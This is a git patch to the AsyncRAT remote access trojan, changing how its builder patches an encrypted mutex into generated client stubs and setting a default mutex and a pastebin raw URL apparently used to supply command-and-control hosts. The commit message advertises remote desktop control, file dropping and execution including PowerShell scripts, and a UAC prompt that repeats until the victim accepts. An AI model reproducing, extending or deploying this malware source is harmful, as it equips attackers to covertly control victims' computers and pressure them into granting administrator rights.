From 5937e381f9569f2568c5fcc6c00c99cbb8198805 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 10 May 2020 08:24:12 +0300 Subject: [PATCH] update added - remote dekstop move movements added - remote desktop showing cursor movements added - showing active window when client connected immediately updated - send file to disk will show if the file ran successfully or not fixed - send file to disk fixed when executing .ps1 file updated - UAC popup now will run until the user press accept fixed - mutex --- AsyncRAT-C#/Server/App.config | 2 +- AsyncRAT-C#/Server/Forms/FormBuilder.cs | 12 +++++++----- AsyncRAT-C#/Server/Properties/Settings.Designer.cs | 2 +- AsyncRAT-C#/Server/Properties/Settings.settings | 2 +- 4 files changed, 10 insertions(+), 8 deletions(-) diff --git a/AsyncRAT-C#/Server/App.config b/AsyncRAT-C#/Server/App.config index d96bd9d..18b12c2 100644 --- a/AsyncRAT-C#/Server/App.config +++ b/AsyncRAT-C#/Server/App.config @@ -21,7 +21,7 @@ True - + AsyncMutex_6SI8OkPnk https://pastebin.com/raw/s14cUU5G diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index 4dd54cf..a7fe8ce 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -95,7 +95,8 @@ namespace Server.Forms } catch { } - txtMutex.Text = getRandomCharacters(); + if (Properties.Settings.Default.Mutex.Length == 0) + txtMutex.Text = getRandomCharacters(); } @@ -185,8 +186,6 @@ namespace Server.Forms if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; } - if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters(); - if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default"; if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return; @@ -371,7 +370,7 @@ namespace Server.Forms { asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName); asmDef.Name = Path.GetFileName(AsmName); - if (type.Name == "Settings") + if (type.Name == "Settings") foreach (MethodDef method in type.Methods) { if (method.Body == null) continue; @@ -430,7 +429,10 @@ namespace Server.Forms method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); + if (string.IsNullOrWhiteSpace(txtMutex.Text)) + method.Body.Instructions[i].Operand = getRandomCharacters(); + else + method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower()); diff --git a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs index 9514bfd..b22ab2b 100644 --- a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs @@ -61,7 +61,7 @@ namespace Server.Properties { [global::System.Configuration.UserScopedSettingAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("")] + [global::System.Configuration.DefaultSettingValueAttribute("AsyncMutex_6SI8OkPnk")] public string Mutex { get { return ((string)(this["Mutex"])); diff --git a/AsyncRAT-C#/Server/Properties/Settings.settings b/AsyncRAT-C#/Server/Properties/Settings.settings index 6330089..8eb3034 100644 --- a/AsyncRAT-C#/Server/Properties/Settings.settings +++ b/AsyncRAT-C#/Server/Properties/Settings.settings @@ -12,7 +12,7 @@ True - + AsyncMutex_6SI8OkPnk https://pastebin.com/raw/s14cUU5G